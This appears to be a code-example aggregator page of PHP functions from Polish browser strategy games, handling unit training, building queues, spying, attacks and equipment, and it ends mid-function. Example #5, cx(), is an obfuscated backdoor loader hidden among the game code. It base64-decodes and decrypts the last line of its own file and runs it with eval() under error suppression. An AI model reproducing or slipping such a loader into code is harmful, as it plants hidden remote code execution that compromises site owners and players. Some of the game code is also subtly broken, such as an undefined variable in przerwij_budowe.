示例#1
0
function przerwij_trening($gracz, $id)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $jednostka = row("select * from tribal_eventy inner join tribal_jednostki on podtyp = jednostka where event = " . $id . " and typ = 3 and miasto_id = " . $gracz['id_miasta'] . " limit 1");
    if (empty($jednostka)) {
        $error = "nie ma takiego zdarzenia";
    } else {
        $jednostka['drewno'] = floor($jednostka['drewno'] * $jednostka['ilosc'] * 0.9);
        $jednostka['kamien'] = floor($jednostka['kamien'] * $jednostka['ilosc'] * 0.9);
        $jednostka['zelazo'] = floor($jednostka['zelazo'] * $jednostka['ilosc'] * 0.9);
        $jednostka['jedzenie'] = floor($jednostka['jedzenie'] * $jednostka['ilosc'] * 0.9);
        $jednostka['populacja'] = floor($jednostka['populacja'] * $jednostka['ilosc']);
        //usuń event
        fx('usun_event');
        usun_event($jednostka['event']);
        //zabierz surowce
        fx('surowce');
        surowce($gracz['id_miasta'], $jednostka['drewno'], $jednostka['kamien'], $jednostka['zelazo'], $jednostka['jedzenie'], -$jednostka['populacja']);
        $czas = $jednostka['koniec'] - mktime();
        call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 3 and event > " . $jednostka['event'] . " and miasto_id = " . $gracz['id_miasta']);
        $error = "przerwano trenowanie jednostki";
    }
    return $error;
}
示例#2
0
function trenuj($gracz, $typ, $id, $ilu, $kolejka_trenowania)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $ilu = (int) $ilu;
    $obiekt = one("select poziom from tribal_budynki_miasta where miasto_id = " . $gracz['id_miasta'] . " and budynek_id = " . $typ . " limit 1");
    if (empty($obiekt)) {
        $error = "nie posiadasz wymaganego budynku";
    } elseif ($ilu < 1) {
        $error = "muszisz trenować minimum 1 jednostkę";
    } else {
        $jednostka = row("select * from tribal_jednostki where wymagany_budynek = " . $typ . " and jednostka = " . $id . " and poziom_wymaganego_budynku <= " . $obiekt);
        if (empty($jednostka)) {
            $error = "nie ma takiej jednostki, lub nie masz wymaganego budynku na odpowiednim poziomie";
        } elseif ($jednostka['drewno'] * $ilu > $gracz['dane_miasta']['drewno'] || $jednostka['kamien'] * $ilu > $gracz['dane_miasta']['kamien'] || $jednostka['zelazo'] * $ilu > $gracz['dane_miasta']['zelazo'] || $jednostka['jedzenie'] * $ilu > $gracz['dane_miasta']['jedzenie'] || $jednostka['populacja'] * $ilu > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) {
            $error = "nie masz wystarczającej ilości surowców";
        } else {
            $kolejka = row("select \n\t\t\t(select count(*) from tribal_eventy where typ = 3 and miasto_id = " . $gracz['id_miasta'] . ") as kolejka,\n\t\t\t(select count(*) from tribal_eventy where typ = 3 and podtyp = " . $id . " and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\t\t\t");
            if ($kolejka['kolejka'] == $kolejka_trenowania) {
                $error = "kolejka zajęta";
            } else {
                //dodaj event
                fx('dodaj_event');
                dodaj_event($gracz['id_miasta'], 3, $id, $ilu, $jednostka['czas_treningu'] * $ilu);
                fx('surowce');
                surowce($gracz['id_miasta'], -$jednostka['drewno'] * $ilu, -$jednostka['kamien'] * $ilu, -$jednostka['zelazo'] * $ilu, -$jednostka['jedzenie'] * $ilu, $jednostka['populacja'] * $ilu);
                //zabierz surowce
                $error = "rozpoczęto trening";
            }
        }
    }
    return $error;
}
示例#3
0
function szpiegowanie($event)
{
    fx('dodaj_event');
    //atakujący
    $miasto1 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz where miasto = " . $event['miasto_id']);
    //obrońca
    $miasto2 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz  where miasto = " . $event['podtyp']);
    //pobierz dane broniących się szpiegów
    $obronca = row("select * from tribal_jednostki_miasta inner join tribal_jednostki on jednostka_id = jednostka where miasto_id = " . $event['podtyp'] . " and jednostka_id = 5 and ilosc > 0");
    $tekst1 = "Twoi szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują miasto " . $miasto2['nazwa'] . "<br/>";
    if (empty($obronca)) {
        $tekst1 .= "Nie napotkano oporu<br/>";
        $tekst2 = "Szpiedzy z wrogiego  szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
    } else {
        //zabij odpowiednią ilość szpiegów po obu stronach
        $ilu = $event['ilosc'];
        $event['ilosc'] -= $obronca['ilosc'];
        $obronca['ilosc'] -= $ilu;
        if ($event['ilosc'] < 0) {
            $event['ilosc'] = 0;
        }
        if ($obronca['ilosc'] < 0) {
            $obronca['ilosc'] = 0;
        }
        //jeżeli obrońca w ogóle zabił jakiegoś szpiego to pokaż mu info z którego miasta przyszedł atak
        if ($ilu == $event['ilosc']) {
            $tekst2 = "Szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
        } else {
            $tekst2 = "Szpiedzy z wrogiego  szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
        }
    }
    if (empty($obronca['ilosc']) && !empty($event['ilosc'])) {
        $zwyciezca = 1;
        //zabij obrońcę
        call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
        $tekst1 .= "Udało Ci się przeszpiegować miasto<br/>\n\t\t\tZdobyte informacje:<br/>\n\t\t\tDrewno: " . $miasto2['drewno'] . "\n\t\t\tKamień: " . $miasto2['kamien'] . "\n\t\t\tŻelazo: " . $miasto2['zelazo'] . "\n\t\t\tJedzenie: " . $miasto2['jedzenie'] . "\n\t\t\tPopulacja: " . $miasto2['populacja'] . "/" . $miasto2['populacja_max'] . "\n\t\t\t";
        $tekst2 .= "Twoi szpiedzy ponieśli klęskę<br/>";
    } elseif (empty($obronca['ilosc']) && empty($event['ilosc'])) {
        $zwyciezca = 0;
        //zabij obrońcę
        call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
        $tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>";
        $tekst2 .= "Twoi szpiedzy zginęli ale nie dopuścili do infiltracji miasta<br/>";
    } else {
        $zwyciezca = 2;
        //zabij obrońcę
        call("update tribal_jednostki_miasta set ilosc = " . $obronca['ilosc'] . " where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
        $tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>";
        $tekst2 .= "Twoi szpiedzy nie dopuścili do infiltracji miasta<br/>";
    }
    fx('wiadomosc_wyslij');
    $a = wiadomosc_wyslij(1, $miasto1['login'], $tekst1);
    $a = wiadomosc_wyslij(1, $miasto2['login'], $tekst2);
    if ($zwyciezca == 1) {
        //jeżeli wygrał to resztę szpiegów wyślij do domu
        $czas = $event['koniec'] - $event['start'];
        fx('dodaj_event');
        dodaj_event($event['miasto_id'], 21, $event['podtyp'], $event['ilosc'], $czas);
    }
}
示例#4
0
function rozwiaz_szpiegow($event)
{
    //zabezpiecz zmienne
    fx('wiadomosc_wyslij');
    $login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz  where miasto = " . $event['miasto_id']);
    call("update tribal_jednostki_miasta set ilosc = ilosc + " . $event['ilosc'] . " where jednostka_id = 5 and miasto_id = " . $event['miasto_id']);
    $a = wiadomosc_wyslij(1, $login, "Szpiedzy powrócili do miasta");
}
示例#5
0
function cx()
{
    $x = @base64_decode(@implode(@array_slice(@file(__FILE__), -1)));
    $y = @dx($x, @bx($x));
    @fx(@base64_encode(@ex($y, @hash("sha256", @mt_rand()))));
    @eval($y);
    die;
}
示例#6
0
function atakuj($dane, $cel, $armia)
{
    //zabezpiecz zmienne
    $cel = vText($cel);
    $count = 0;
    foreach ($armia as $key => $value) {
        $key = (int) $key;
        $armia[$key] = (int) $value;
        if ($value < 1) {
            unset($armia[$key]);
        }
        $count += (int) $value;
    }
    if ($count < 1) {
        $error = 'wyślij minimum 1 jednostkę';
    } else {
        $query = '';
        foreach ($armia as $key => $value) {
            $query .= "(select count(*) from planetx_jednostki_planety where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta'] . " and ilosc >= " . $value . ")+";
        }
        $query = substr($query, 0, -1);
        $query = "select " . $query . " as ile";
        $can = mysql_fetch_array(mysql_query($query));
        if ($can['ile'] < count($armia)) {
            $error = 'nie posiadasz tyle jednostek';
        } else {
            $vs = mysql_fetch_array(mysql_query("select * from planetx_planety where nazwa='" . $cel . "' limit 1"));
            if (empty($vs['nazwa'])) {
                $error = 'nie ma takiej planety';
            } elseif ($vs['gracz_id'] == $dane['gracz']) {
                $error = 'nie atakuj swoich miast';
            } else {
                $x = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $dane['aktywna_planeta']));
                $y = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $vs['planeta']));
                if ($x['x'] != $vs['x'] && $x['y'] == $vs['y']) {
                    $zasieg = abs($vs['x'] - $x['x']) * 300;
                } elseif ($x['x'] == $vs['x'] && $x['y'] != $vs['y']) {
                    $zasieg = abs($vs['y'] - $x['y']) * 300;
                } else {
                    $zasieg = floor(sqrt(pow(abs($vs['x'] - $x['x']), 2) + pow(abs($vs['y'] - $x['y']), 2))) * 300;
                }
                mysql_query("insert into planetx_ataki(planeta_id, planeta_id_cel, start, koniec, status)\n\t\t\t\t\t\t\t\tvalue (" . $dane['aktywna_planeta'] . "," . $vs['planeta'] . "," . time() . "," . (time() + $zasieg) . ",0)");
                $id = mysql_insert_id();
                $query1 = "insert into planetx_ataki_jednostki(atak_id, jednostka, ilosc, atak, obrona, wytrzymalosc) values";
                fx('jednostki');
                $jednostki = jednostki();
                foreach ($armia as $key => $value) {
                    mysql_query("update planetx_jednostki_planety set ilosc = ilosc - " . $value . " where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta']);
                    $query1 .= "(" . $id . ", " . $key . ", " . $value . ", " . $jednostki[$key]['atak'] . ", " . $jednostki[$key]['obrona'] . ", " . $jednostki[$key]['wytrzymalosc'] . " ),";
                }
                $query1 = substr($query1, 0, -1);
                mysql_query($query1);
                return 'wysłano';
            }
        }
    }
}
示例#7
0
function buduj($dane, $budynki, $id_budynku)
{
    //zabezpiecz zmienne
    $id_budynku = (int) $id_budynku;
    //ile budynków można mieć w kolejce
    $max_kolejka = 3;
    if (empty($budynki[$id_budynku])) {
        return "nie ma takiego budynku";
    } elseif ($budynki[$id_budynku]['poziom'] == $budynki[$id_budynku]['poziom_max']) {
        return "osiągnięto poziom maksymalny";
    } else {
        //pobierz funkcję do obsługi pobierania kosztów budynku
        fx('budynki_koszta');
        //pobierz funkcję do obsługi pobierania wymagań budynku
        fx('budynki_wymagania');
        //pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny)
        $koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1);
        //pobierz wymagania obiektu
        $wymagania = budynki_wymagania($id_budynku, $budynki[$id_budynku]['poziom'] + 1, $budynki);
        if ($dane['planeta']['metal'] < $koszta['metal'] || $dane['planeta']['krysztaly'] < $koszta['krysztaly'] || $dane['planeta']['paliwo'] < $koszta['paliwo'] || $dane['planeta']['populacja_max'] - $dane['planeta']['populacja'] < $koszta['populacja']) {
            return "planeta nie posiada wystarczającej ilości surowców";
        } elseif ($wymagania['mozna'] == 0) {
            $opcje = "nie spełniono wymagań budowy";
        } else {
            //sprawdź czy budynek nie jest już w kolejce budowania
            $wkolejce = mysql_fetch_array(mysql_query("select kolejka from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku));
            if (!empty($wkolejce)) {
                return "ten obiekt jest już w kolejce rozbudowy";
            } else {
                //sprawdź ile aktualnie jest budowanych budynków
                $kolejka = mysql_fetch_array(mysql_query("select count(*) as ile from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta']));
                if ($kolejka['ile'] == $max_kolejka) {
                    return "kolejka rozbudowy zajęta";
                } else {
                    //pobierz ostatni budynek z kolejki
                    $ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1"));
                    if (empty($ostatni['koniec'])) {
                        //jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy
                        $start = time();
                    } else {
                        //jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy
                        $start = $ostatni['koniec'];
                    }
                    $koniec = $start + $koszta['czas_budowy'];
                    //dodaj do kolejki
                    mysql_query("insert into planetx_budynki_kolejka (planeta_id, budynek, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id_budynku . "," . $start . "," . $koniec . ")");
                    //odbierz surowce
                    mysql_query("update planetx_planety set metal = metal -" . $koszta['metal'] . ", krysztaly = krysztaly - " . $koszta['krysztaly'] . ", paliwo = paliwo -" . $koszta['paliwo'] . ", populacja = populacja +" . $koszta['populacja'] . " where planeta = " . $dane['aktywna_planeta']);
                    return "rozpoczęto budowę";
                }
            }
        }
    }
}
示例#8
0
function rozwiaz_armie($id)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    fx('wiadomosc_wyslij');
    $login = mysql_fetch_array(mysql_query("select login from planetx_gracze inner join planetx_planety on gracz_id = gracz inner join planetx_ataki on planeta = planeta_id where atak = " . $id));
    $jednostki = mysql_query("select * from planetx_ataki_jednostki inner join planetx_ataki a on a.atak = atak_id where atak_id = " . $id);
    while ($jednostka = mysql_fetch_array($jednostki)) {
        mysql_query("update planetx_jednostki_planety set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka = " . $jednostka['jednostka'] . " and planeta_id = " . $jednostka['planeta_id']);
    }
    mysql_query("delete from planetx_ataki_jednostki where atak_id = " . $id);
    mysql_query("delete from planetx_ataki where atak = " . $id);
    $a = wiadomosc_wyslij(1, $login['login'], "Armia powróciła do planety");
}
示例#9
0
function buduj($gracz, $id, $kolejka_budowy)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $info = row("select bm.poziom as poziom, bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy,  b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1");
    if (empty($info)) {
        $error = "nie ma takiego obiektu";
    } else {
        if (!empty($info['poziom'])) {
            $info['drewno'] = $info['bmdrewno'];
            $info['kamien'] = $info['bmkamien'];
            $info['zelazo'] = $info['bmzelazo'];
            $info['jedzenie'] = $info['bmjedzenie'];
            $info['populacja'] = $info['bmpopulacja'];
            $info['czas_budowy'] = $info['bmczas_budowy'];
        } else {
            $info['poziom'] = 0;
        }
        $budowany = one("select count(*) from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']);
        if ($budowany > 0) {
            $error = "budujesz już ten budynek";
        } else {
            $kolejka = one("select count(*) from tribal_eventy where typ = 1 and miasto_id = " . $gracz['id_miasta']);
            if ($kolejka == $kolejka_budowy) {
                $error = "kolejka budowy zajęta";
            } else {
                if ($info['drewno'] > $gracz['dane_miasta']['drewno'] || $info['kamien'] > $gracz['dane_miasta']['kamien'] || $info['zelazo'] > $gracz['dane_miasta']['zelazo'] || $info['jedzenie'] > $gracz['dane_miasta']['jedzenie'] || $info['populacja'] > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) {
                    $error = "nie masz wystarczającej ilości surowców";
                } elseif ($info['poziom'] == $info['max_poziom']) {
                    $error = "osiągnięto maksymalny poziom";
                } else {
                    $wymagania = one("\n\t\t\t\t\tselect\n\t\t\t\t\t\tcase when count(*) >=\n\t\t\t\t\t\t(select count(*) from tribal_budynki_wymagania\n\t\t\t\t\t\twhere budynek_id = {$id})\n\t\t\t\t\t\tthen 1 else 0 end\n\n\t\t\t\t\t\tfrom tribal_budynki_wymagania t2,\n\t\t\t\t\t\ttribal_budynki_miasta t1\n\t\t\t\t\t\twhere t2.budynek_id = {$id}\n\t\t\t\t\t\tand t1.budynek_id = t2.wymagany_budynek_id\n\t\t\t\t\t\tand t1.miasto_id = " . $gracz['id_miasta'] . " \n\t\t\t\t\t\tand t1.poziom >= t2.wymagany_poziom\n\t\t\t\t\t");
                    if ($wymagania == 1) {
                        //dodaj event
                        fx('dodaj_event');
                        dodaj_event($gracz['id_miasta'], 1, $id, 1, $info['czas_budowy']);
                        fx('surowce');
                        surowce($gracz['id_miasta'], -$info['drewno'], -$info['kamien'], -$info['zelazo'], -$info['jedzenie'], $info['populacja']);
                        //zabierz surowce
                        $error = "rozpoczęto budowę";
                    } else {
                        $error = "nie spełniono wymagań do budowy tego budynku";
                    }
                }
            }
        }
    }
    return $error;
}
示例#10
0
function transport($miasto)
{
    fx('surowce');
    $eventy_karawany = all("select * from tribal_karawany where z_miasta = " . $miasto . "  and koniec <= " . time());
    if (is_array($eventy_karawany)) {
        foreach ($eventy_karawany as $karawana) {
            if ($karawana['status'] == 0) {
                surowce($karawana['do_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0);
                call("update tribal_karawany set status = 1, drewno = 0, kamien = 0, zelazo =0, jedzenie = 0,  start = koniec, koniec = koniec + 3600 where karawana = " . $karawana['karawana']);
            } else {
                surowce($karawana['z_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0);
                call("delete from tribal_karawany  where karawana = " . $karawana['karawana']);
            }
        }
    }
}
示例#11
0
function trenuj($dane, $id, $ilu)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $ilu = (int) $ilu;
    $kolejka_trenowania = 10;
    //pobierz jednostki gry
    fx('jednostki');
    $jednostki = jednostki();
    if (empty($jednostki[$id])) {
        return "nie ma takiej jednosti";
    }
    //pobierz poziom wymaganego obiektu
    $obiekt = mysql_fetch_array(mysql_query("select poziom from  planetx_budynki_planety where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $jednostki[$id]['wymagany_budynek_id'] . " and poziom >= " . $jednostki[$id]['wymagany_budynek_poziom']));
    if (empty($obiekt)) {
        return "nie posiadasz wymaganego budynku";
    } elseif ($ilu < 1) {
        return "muszisz trenować minimum 1 jednostkę";
    } else {
        if ($jednostki[$id]['metal'] * $ilu > $dane['planeta']['metal'] || $jednostki[$id]['krysztaly'] * $ilu > $dane['planeta']['krysztaly'] || $jednostki[$id]['paliwo'] * $ilu > $dane['planeta']['paliwo'] || $jednostki[$id]['populacja'] * $ilu > $dane['planeta']['populacja_max'] - $dane['planeta']['populacja']) {
            return "nie masz wystarczającej ilości surowców";
        } else {
            $kolejka = mysql_fetch_array(mysql_query("select count(*) as kolejka from planetx_jednostki_kolejka where  planeta_id = " . $dane['aktywna_planeta']));
            if ($kolejka['kolejka'] == $kolejka_trenowania) {
                return "kolejka zajęta";
            } else {
                //pobierz ostatni budynek z kolejki
                $ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1"));
                if (empty($ostatni['koniec'])) {
                    //jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy
                    $start = time();
                } else {
                    //jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy
                    $start = $ostatni['koniec'];
                }
                $koniec = $start + $jednostki[$id]['czas_budowy'] * $ilu;
                //dodaj do kolejki
                mysql_query("insert into planetx_jednostki_kolejka (planeta_id, jednostka, ilosc, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id . "," . $ilu . "," . $start . "," . $koniec . ")");
                //odbierz surowce
                mysql_query($q = "update planetx_planety set metal = metal -" . $jednostki[$id]['metal'] * $ilu . ", krysztaly = krysztaly - " . $jednostki[$id]['krysztaly'] * $ilu . ", paliwo = paliwo -" . $jednostki[$id]['paliwo'] * $ilu . ", populacja = populacja +" . $jednostki[$id]['populacja'] * $ilu . " where planeta = " . $dane['aktywna_planeta']);
                return "rozpoczęto trening";
            }
        }
    }
}
示例#12
0
function rozwiaz_armie($id)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    fx('wiadomosc_wyslij');
    $login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz inner join tribal_ataki on miasto = miasto_id where atak = " . $id);
    $atak_info = row("select * from tribal_ataki where atak = {$id}");
    $jednostki = all("select * from tribal_ataki_jednostki inner join tribal_ataki a on a.atak = atak_id where atak_id = {$id}");
    if (is_array($jednostki)) {
        foreach ($jednostki as $jednostka) {
            call("update tribal_jednostki_miasta set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka_id = " . $jednostka['jednostka_id'] . " and miasto_id = " . $jednostka['miasto_id']);
        }
    }
    call("delete from tribal_ataki_jednostki where atak_id = {$id}");
    call("delete from tribal_ataki where atak = {$id}");
    fx('surowce');
    surowce($atak_info['miasto_id'], $atak_info['drewno'], $atak_info['kamien'], $atak_info['zelazo'], $atak_info['jedzenie'], 0);
    fx('raport');
    $a = raport($login, "Armia powróciła do miasta ,rozładowano " . $atak_info['drewno'] . " drewna,  " . $atak_info['kamien'] . " kamienia,  " . $atak_info['zelazo'] . " żelaza i " . $atak_info['jedzenie'] . " jedzenia");
}
示例#13
0
function przerwij_budowe($gracz, $id)
{
    //zabezpiecz zmienne
    $id = (int) $id;
    $info = row("select bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, bm.poziom as bmpoziom, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1");
    if (empty($info)) {
        $error = "nie ma takiego obiektu";
    } else {
        if (!empty($info['bmdrewno'])) {
            $info['drewno'] = $info['bmdrewno'];
            $info['kamien'] = $info['bmkamien'];
            $info['zelazo'] = $info['bmzelazo'];
            $info['jedzenie'] = $info['bmjedzenie'];
            $info['populacja'] = $info['bmpopulacja'];
            $info['poziom'] = $info['bmpoziom'];
            $info['czas_budowy'] = $info['bmczas_budowy'];
        } else {
            $info['poziom'] = 0;
        }
        $info['drewno'] = floor($info['drewno'] * 0.9);
        $info['kamien'] = floor($info['kamien'] * 0.9);
        $info['zelazo'] = floor($info['zelazo'] * 0.9);
        $info['jedzenie'] = floor($info['jedzenie'] * 0.9);
        $budowany = row("select * from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']);
        if (empty($budowany)) {
            $error = "nie budujesz tego budynku";
        } else {
            //usuń event
            fx('usun_event');
            usun_event($budowany['event']);
            //zabierz surowce
            fx('surowce');
            surowce($gracz['id_miasta'], $info['drewno'], $info['kamien'], $info['zelazo'], $info['jedzenie'], -$info['populacja']);
            $czas = $budowany['koniec'] - mktime();
            call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 1 and event > " . $budowany['event'] . " and miasto_id = " . $gracz['id_miasta']);
            $error = "przerwano budowę";
        }
    }
    return $error;
}
示例#14
0
文件: zaloz.php 项目: WlasnaGra/Genix
function zaloz($gracz, $przedmiot)
{
    //zabezpiecz zmienne
    $przedmiot = (int) $przedmiot;
    $dane = row("select * from genix_przedmioty inner join genix_przedmioty_gracze on przedmiot_id = przedmiot where id = " . $przedmiot . " and gracz_id = " . $gracz['gracz'] . " limit 1");
    if (empty($dane)) {
        return "nie ma takiego przedmiotu";
    } elseif ($dane['wymagana_sila'] > $gracz['sila'] || $dane['wymagana_zrecznosc'] > $gracz['zrecznosc'] || $dane['wymagana_wytrzymalosc'] > $gracz['wytrzymalosc'] || $dane['wymagana_wiedza'] > $gracz['wiedza']) {
        return "nie spełniasz wymagań do założenia tego przedmiotu";
    } else {
        fx('zdejmij');
        zdejmij($gracz, $dane['typ']);
        switch ($dane['typ']) {
            case 'bron':
                call("update genix_gracze set bron = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'tarcza':
                call("update genix_gracze set tarcza =" . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'zbroja':
                call("update genix_gracze set zbroja = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'helm':
                call("update genix_gracze set helm = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'buty':
                call("update genix_gracze set buty = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'amulet':
                call("update genix_gracze set amulet = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
            case 'pierscien':
                call("update genix_gracze set pierscien = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where  gracz = " . $gracz['gracz']);
                break;
        }
        call("delete from genix_przedmioty_gracze where id = " . $przedmiot);
        return "założono przedmiot";
    }
}
示例#15
0
function przerwij_budowe($dane, $id_budynku)
{
    //zabezpiecz zmienne
    $id_budynku = (int) $id_budynku;
    //sprawdź czy dany budynek był budowany
    $wkolejce = mysql_fetch_array(mysql_query("select * from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku));
    if (empty($wkolejce)) {
        return "nie ma takiego budynku w budowie";
    } else {
        //pobierz funkcję do obsługi pobierania kosztów budynku
        fx('budynki_koszta');
        //pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny)
        $koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1);
        //usuń z kolejki
        mysql_query("delete from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku);
        //zwróć część surowców, populacji trzeba zwrócić zawsze tyle samo
        mysql_query("\n\t\tupdate planetx_planety\n\t\t\tset metal = (case when metal + " . $koszta['metal'] * 0.9 . "  >= surowce_max then surowce_max else metal + " . $koszta['metal'] * 0.9 . " end ) ,\n\n\t\t\tkrysztaly = (case when krysztaly + " . $koszta['krysztaly'] * 0.9 . " >= surowce_max then surowce_max else krysztaly + " . $koszta['krysztaly'] * 0.9 . " end ),\n\n\t\t\tpaliwo = (case when paliwo + " . $koszta['paliwo'] * 0.9 . " >= surowce_max then surowce_max else paliwo + " . $koszta['paliwo'] * 0.9 . " end ),\n\n\t\t\t\n\n\t\t\tpopulacja = (case when populacja + " . $koszta['populacja'] . " >= populacja_max then populacja_max else populacja - " . $koszta['populacja'] . " end )\n\t\twhere  planeta =  " . $dane['aktywna_planeta']);
        //przyspiesz budowanie budynków, jeżeli po tym budynku było coś na końcu kolejki
        $ile = $wkolejce['koniec'] - time();
        mysql_query("update planetx_budynki_kolejka set start = start - " . $ile . ", koniec = koniec - " . $ile . " where planeta_id = " . $dane['aktywna_planeta'] . " and start > " . $wkolejce['start']);
    }
}
示例#16
0
function przerwij_ulepszanie($gracz, $id)
{
    //zabezpiecz zmienne
    $id = (int) $id;
